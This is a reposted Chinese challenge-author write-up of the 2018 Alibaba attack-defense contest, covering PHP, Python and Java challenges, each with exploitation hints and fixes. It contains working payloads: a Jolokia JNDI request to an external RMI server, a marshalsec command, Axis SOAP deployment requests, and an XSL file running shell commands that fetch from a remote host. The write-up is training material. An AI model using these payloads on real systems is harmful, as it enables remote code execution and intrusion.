内容简介:2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元
2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。
恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6 万元 奖金 (税前) ,f61d战队获得比赛第三名3 万元 奖金 (税前) !
恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元 奖金 奖金 (税前) !
恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元 奖金 (税前) !
(相关的奖金发放和证书邮寄下周将全部完成)
赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是 java 居多啦。
本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。
在此放出 WriteUp 供相关队员参考:
第一场
PHP 题目
1.ImageMagic 命令注入(CVE-2016–3714)
很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。
Java 题目
1.Jolokia JNDI 注入CVE-2018-1000130
在web.xml可以看到如下片段,使用了jolokia作为JMX的环境
< servlet >
< servlet-name > jolokia-agent </ servlet-name >
< servlet-class > org.jolokia.http.AgentServlet </ servlet-class >
< init-param >
< param-name > mimeType </ param-name >
< param-value > application/json </ param-value >
</ init-param >
< load-on-startup > 1 </ load-on-startup >
</ servlet >
< servlet-mapping >
< servlet-name > jolokia-agent </ servlet-name >
< url-pattern > /jolokia/* </ url-pattern >
</ servlet-mapping >
漏洞的利用可以参考下
https://xz.aliyun.com/t/2294
这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用 marshalsec 的构建好的jndi服务器指向下载的class内容
{
"type" : "read" ,
"mbean" : "java.lang:type=Memory" ,
"target" : {
"url" : "service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi"
}
}
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099
修复方法
把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。
2.Json 反序列化漏洞
代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct
public void execute (@Param( "info" ) String info , Context context , HttpServletRequest req ) throws Exception {
if ( req . getContentType (). contains ( "json" )){
JSONObject jo = JSON . parseObject ( req . getInputStream (), com . alibaba . fastjson . JSONObject . class );
info = jo . getString ( "info" );
}
List < Product > products = productDao . searchProductsByKeywords ( info );
context . put ( "products" , products );
}
在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。
< dependency >
< groupId > com.alibaba </ groupId >
< artifactId > fastjson </ artifactId >
< version > 1.2.15 </ version >
</ dependency >
利用姿势可以参考 https://github.com/shengqi158/fastjson-remote-code-execute-poc
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.SQL 注入漏洞
在搜索处抓包即可,参数info存在 SQL 注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。
修复方法
找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。
4.Java 反序列化漏洞
所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。
/** 编码。 */
public String encode ( Map < String , Object > attrs , StoreContext storeContext ) throws SessionEncoderException {
ByteArrayOutputStream baos = new ByteArrayOutputStream ();
// 1. 序列化
// 2. 压缩
Deflater def = new Deflater ( Deflater . BEST_COMPRESSION , false );
DeflaterOutputStream dos = new DeflaterOutputStream ( baos , def );
try {
serializer . serialize ( assertNotNull ( attrs , "objectToEncode is null" ), dos );
} catch ( Exception e ) {
throw new SessionEncoderException ( "Failed to encode session state" , e );
} finally {
try {
dos . close ();
} catch ( IOException e ) {
}
def . end ();
}
byte [] plaintext = baos . toByteArray (). toByteArray ();
// 3. 加密
byte [] cryptotext = encrypt ( plaintext );
// 4. base64 编码
try {
String encodedValue = new String ( Base64 . encodeBase64 ( cryptotext , false ), "ISO-8859-1" );
return URLEncoder . encode ( encodedValue , "ISO-8859-1" );
} catch ( UnsupportedEncodingException e ) {
throw new SessionEncoderException ( "Failed to encode session state" , e );
}
}
/** 加密。 */
private byte [] encrypt ( byte [] plaintext ) throws SessionEncoderException {
if ( encrypter != null ) {
return encrypter . encrypt ( plaintext );
}
return plaintext ;
}
默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:
< request-contexts:session forceExpirationPeriod =" 14400 ">
< stores >
< session-stores:cookie-store id =" temporaryCookie ">
< cookie name =" tmp " />
< encoders >
< session-encoders:serialization-encoder >
< session-serializers:java-serializer />
<!--<session-encrypters:aes-encrypter key="0123456789abcdef" />-->
</ session-encoders:serialization-encoder >
</ encoders >
</ session-stores:cookie-store >
</ stores >
< store-mappings >
< match name =" * " store =" temporaryCookie " />
</ store-mappings >
< interceptors >
< session-interceptors:lifecycle-logger />
< session-interceptors:attribute-whitelist >
< attribute name =" _csrf_token " />
< attribute name =" _lang " />
< attribute name =" petstoreUser " type =" com.alibaba.sample.petstore.web.common.PetstoreUser " />
< attribute name =" petstoreCart " type =" com.alibaba.sample.petstore.dal.dataobject.Cart " />
</ session-interceptors:attribute-whitelist >
</ interceptors >
</ request-contexts:session >
本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。
修复方法
配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。
场次二
Python 题目
1.Flask 模板注入漏洞
也是非常经典,在此不再详细介绍。
Java 题目
1.XMLDecoder 反序列化漏洞
和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种 工具 解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。
修复方法
可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。
2.Json 反序列化漏洞黑名单绕过
漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。
可以参考下面文章的绕过姿势
https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java
使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关
ParserConfig . getGlobalInstance (). setAutoTypeSupport ( true ); // 一般都不开
修复方法
可以更改pom文件使用最新的fastjson并重新编译发布。
3.Java 反序列化漏洞
可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,
修复方法
可以参考场次一的修复方案。
4.Java JDWP 调试端口远程开放
默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。
利用工具可以参考 https://github.com/IOActive/jdwp-shellifier
修复方法
在启动脚本:
catalina.sh jpda start 改为catalina.sh start即可
其他题目
SSH 弱口令admin:admin123
场次三
PHP 题目
Drupal Drupalgeddon2 (CVE-2018-7600)
今年新出的漏洞,比较火,可以参考 https://xz.aliyun.com/t/2312
PHP-FPM 未授权访问
设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段
可以参考 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Java 题目
1.WebService 任意部署漏洞
这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。
通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下
POST /contest3/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 799
<?xml version="1.0" encoding="utf-8"?>
< soapenv:Envelope xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance "
xmlns:xsd =" http://www.w3.org/2001/XMLSchema "
xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ ">
< soapenv:Body >
< ns1:deployment
xmlns =" http://xml.apache.org/axis/wsdd/ "
xmlns:java =" http://xml.apache.org/axis/wsdd/providers/java "
xmlns:ns1 =" http://xml.apache.org/axis/wsdd/ ">
< ns1:service name =" TestService " provider =" java:RPC ">
< ns1:parameter name =" className " value =" com.sun.org.apache.xalan.internal.xslt.Process "/>
< ns1:parameter name =" allowedMethods " value =" * "/>
</ ns1:service >
</ ns1:deployment >
</ soapenv:Body >
</ soapenv:Envelope >
会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。
POST /contest3/services/TestService HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 799
< soapenv:Envelope xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance " xmlns:xsd =" http://www.w3.org/2001/XMLSchema " xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ " xmlns:xslt =" http://xslt.internal.xalan.apache.org.sun.com " xmlns:soapenc =" http://schemas.xmlsoap.org/soap/encoding/ ">
< soapenv:Header />
< soapenv:Body >
< xslt:_main soapenv:encodingStyle =" http : //schemas.xmlsoap.org/soap/encoding/ ">
< argv xsi:type =" xst:ArrayOf_xsd_string " soapenc:arrayType =" xsd:string[] " xmlns:xst =" http://127.0.0.1:8080/contest3/services/TestService ">
< cmd xsi:type =" soapenc:string "> -xsl </ cmd >
< cmd xsi:type =" soapenc:string "> http://123.123.123.123/cmd.xsl </ cmd >
</ argv >
</ xslt:_main >
</ soapenv:Body >
</ soapenv:Envelope >
cmd.xsl 如下
<?xml version="1.0"?>
< xsl:stylesheet exclude-result-prefixes =" java " version =" 1.0 "
xmlns:bufferedreader =" xalan://java.io.BufferedReader "
xmlns:inputstreamreader =" xalan://java.io.InputStreamReader "
xmlns:java =" http://xml.apache.org/xalan/java "
xmlns:runtime =" xalan://java.lang.Runtime "
xmlns:str =" xalan://java.lang.String "
xmlns:xsl =" http://www.w3.org/1999/XSL/Transform ">
< xsl:variable name =" runtime " select =" runtime:getRuntime() "/>
< xsl:template match =" / ">
< xsl:variable name =" command "> /bin/sh,-c,curl 10.233.66.66 -I </ xsl:variable >
< xsl:variable name =" arguments " select =" str:split(str:new($command), ' , ' ) "/>
< xsl:value-of select =" runtime:exec($runtime, $arguments) "/>
</ xsl:template >
</ xsl:stylesheet >
修复方法
在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false
2. 未授权访问漏洞
由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下: http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html
数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:
public void execute ( Context context ) throws Exception {
//System.out.println("call order list");
List < Order > orders = orderDao . getAllOrders ();
for ( Order o : orders ){
o . setStatus ( new String ( Aes . decryptString ( o . getStatus ())) );
}
context . put ( "orders" , orders );
}
所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。
修复方法
修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1
阅读原文 ”至ASRC提交安全漏洞及情报
长按扫描关注ASRC,关注后续精彩活动!
↓↓↓↓↓↓↓↓↓↓↓↓↓
以上所述就是小编给大家介绍的《WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Rework
Jason Fried、David Heinemeier Hansson / Crown Business / 2010-3-9 / USD 22.00
"Jason Fried and David Hansson follow their own advice in REWORK, laying bare the surprising philosophies at the core of 37signals' success and inspiring us to put them into practice. There's no jarg......一起来看看 《Rework》 这本书的介绍吧!